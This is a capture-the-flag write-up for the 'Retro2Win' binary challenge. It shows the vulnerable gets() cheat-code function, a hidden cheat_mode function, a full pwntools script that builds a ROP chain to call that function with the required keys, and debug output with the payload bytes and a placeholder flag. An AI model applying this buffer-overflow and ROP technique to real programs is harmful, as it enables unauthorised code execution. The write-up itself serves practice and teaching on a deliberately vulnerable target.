I'm going to skip over some of the steps, because I cover in more detail in the video walkthrough and the approach is the same as Rigged Slot Machine (disassemble, find offset etc).
Anyway, the binary has no canaries and PIE is disabled.
nclocalhost1338****************************** Retro2Win Game ******************************1.ExploretheForest2.BattletheDragon3.QuitSelectanoption:1Youarewalkingthroughadarkforest...Idon't think there'sanyflagsaroundhere...****************************** Retro2Win Game ******************************1.ExploretheForest2.BattletheDragon3.QuitSelectanoption:2Youencounteraferociousdragon!Butit's too strong for you...Only if you had some kind of cheat...****************************** Retro2Win Game ******************************1. Explore the Forest2. Battle the Dragon3. QuitSelect an option:3Quitting game...
Nothing! If we disassemble the code, we will find a hidden menu option 1337.
nclocalhost1338****************************** Retro2Win Game ******************************1.ExploretheForest2.BattletheDragon3.QuitSelectanoption:1337Enteryourcheatcode:1337Checkingcheatcode:1337!****************************** Retro2Win Game ******************************1.ExploretheForest2.BattletheDragon3.Quit
Nothing will work though, that's because the enter_cheatcode() function looks like this.
voidenter_cheatcode(){char code[16];printf("Enter your cheatcode:\n");gets(code);printf("Checking cheatcode: %s!\n", code);}
Spot the buffer overflow? Yes, but no flag. Check out this other cheat_mode function though.
voidcheat_mode(long key1,long key2){if (key1 ==0x2323232323232323&& key2 ==0x4242424242424242) {printf("CHEAT MODE ACTIVATED!\n");printf("You now have access to secret developer tools...\n\n"); FILE *file =fopen("flag.txt","r");if (file ==NULL) {printf("Error: Could not open flag.txt\n");return; }char flag[64];if (fgets(flag,sizeof(flag), file)!=NULL) {printf("FLAG: %s\n", flag); }fclose(file); }else {printf("Unauthorized access detected! Returning to main menu...\n\n"); }}
There are no execution paths to this function, so we need to exploit the buffer overflow to redirect the program execution. However, we also need to ensure the correct key1 and key2 are provided. Essentially, we have a ret2win challenge with parameters. Here's a solve script I put together.
solve.py
from pwn import*defstart(argv=[],*a,**kw):if args.GDB:# Set GDBscript belowreturn gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)elif args.REMOTE:# ('server', 'port')returnremote(sys.argv[1], sys.argv[2], *a, **kw)else:# Run locallyreturnprocess([exe] + argv, *a, **kw)deffind_ip(payload):# Launch process and navigate to the cheat code entry p =process(exe) p.sendlineafter(b'Select an option:', b'1337') p.sendlineafter(b'cheatcode:', payload)# Wait for the process to crash p.wait()# Print out the address of EIP/RIP at the time of crashing ip_offset =cyclic_find(p.corefile.read(p.corefile.sp, 4))# x64info('Located EIP/RIP offset at {a}'.format(a=ip_offset))return ip_offset# Specify your GDB script here for debugginggdbscript ='''init-pwndbgcontinue'''.format(**locals())# Set up pwntools for the correct architectureexe ='./retro2win'elf = context.binary =ELF(exe, checksec=False)context.log_level ='debug'# ===========================================================# EXPLOIT GOES HERE# ===========================================================# Pass in pattern_size, get back EIP/RIP offsetoffset =find_ip(cyclic(64))# Start programio =start()# Navigate through the menu to reach the cheat code entryio.sendlineafter(b'Select an option:', b'1337')# Enter hidden option# ROP objectrop =ROP(elf)rop.cheat_mode(0x2323232323232323, 0x4242424242424242)# Build the payloadpayload =flat({ offset: [rop.chain()]})pprint(rop.dump())# Send the payloadio.sendlineafter(b'cheatcode:', payload)# Get flagio.interactive()
For some reason, it only comes through in the debug. Not sure if this is down to my exploit, the config on the server env (maybe the socat command in the dockerfile) or the C code itself. I CBA to debug, you'll work it out! 😅
[+] Opening connection to 127.0.0.1 on port 1338: Done[DEBUG] Received 0xa8 bytes:b'*****************************\r\n'b'* Retro2Win Game *\r\n'b'*****************************\r\n'b'1. Explore the Forest\r\n'b'2. Battle the Dragon\r\n'b'3. Quit\r\n'b'\r\n'b'Select an option:\r\n'[DEBUG] Sent 0x5 bytes:b'1337\n'[*] Loaded 14 cached gadgets for'./retro2win'('0x0000: 0x4009b3 pop rdi; ret\n''0x0008: 0x2323232323232323 [arg0] rdi = 2531906049332683555\n''0x0010: 0x4009b1 pop rsi; pop r15; ret\n''0x0018: 0x4242424242424242 [arg1] rsi = 4774451407313060418\n'"0x0020: b'iaaajaaa' <pad r15>\n"'0x0028: 0x400736 cheat_mode')[DEBUG] Received 0x6 bytes:b'1337\r\n'[DEBUG] Received 0x17 bytes:b'Enter your cheatcode:\r\n'[DEBUG] Sent 0x49 bytes:0000000061616161626161616361616164616161│aaaa│baaa│caaa│daaa│000000106561616166616161b309400000000000│eaaa│faaa│··@·│····│000000202323232323232323b109400000000000│####│####│··@·│····│000000304242424242424242696161616a616161│BBBB│BBBB│iaaa│jaaa│0000004036074000000000000a│6·@·│····│·│00000049[*] Switching to interactive mode[DEBUG] Received 0xf3 bytes:0000000061616161626161616361616164616161│aaaa│baaa│caaa│daaa│000000106561616166616161b309405e405e405e│eaaa│faaa│··@^│@^@^│00000020405e405e402323232323232323b10940│@^@^│@###│####│#··@│000000305e405e405e405e405e40424242424242│^@^@│^@^@│^@BB│BBBB│000000404242696161616a616161365e47405e40│BBia│aaja│aa6^│G@^@│000000505e405e405e405e400d0a436865636b69│^@^@│^@^@│··Ch│ecki│000000606e67206368656174636f64653a206161│ngc│heat│code│:aa│0000007061616261616163616161646161616561│aaba│aaca│aada│aaea│00000080616166616161b30940210d0a43484541│aafa│aa··│@!··│CHEA│0000009054204d4f444520414354495641544544│TMO│DEA│CTIV│ATED│000000a0210d0a596f75206e6f77206861766520│!··Y│oun│owh│ave│000000b061636365737320746f20736563726574│acce│sst│ose│cret│000000c020646576656c6f70657220746f6f6c73│dev│elop│ert│ools│000000d02e2e2e0d0a0d0a464c41473a20494e54│...·│···F│LAG:│INT│000000e04947524954497b66616b655f666c6167│IGRI│TI{f│ake_│flag│000000f07d0d0a│}··│000000f3